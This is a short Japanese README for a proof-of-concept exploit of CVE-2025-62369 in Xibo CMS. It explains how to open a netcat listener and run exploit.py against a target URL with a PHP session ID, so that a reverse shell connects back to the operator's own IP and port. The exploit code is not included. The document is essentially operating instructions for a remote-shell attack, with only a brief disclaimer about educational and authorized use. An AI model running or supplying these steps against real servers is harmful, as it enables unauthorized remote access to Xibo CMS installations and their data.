CVE-2025-62369 PoC

このスクリプトは、Xibo CMS の CVE-2025-62369 を悪用して、リバースシェルコマンドを実行します。

作者

• 名前: Cristian Branet
• GitHub: cristibtz

使用方法

1. リスナーを起動する

nc -lvnp <PORT>

2. エクスプロイトを実行する

python3 exploit.py -u "http://<TARGET_IP>:<TARGET_PORT>" -s "<PHPSESSID>" -i <LOCAL_IP> -p <PORT>

• <TARGET_IP>: Xibo CMS サーバーの IP
• <TARGET_PORT>: Xibo CMS サーバーのポート
• <PHPSESSID>: あなたの PHP セッション ID
• <LOCAL_IP>: リバースシェルを受信するあなたの IP
• <PORT>: リバースシェルのポート (リスナーと一致させる必要があります)

免責事項:
このコードは、教育目的および許可されたテスト目的のみで使用してください。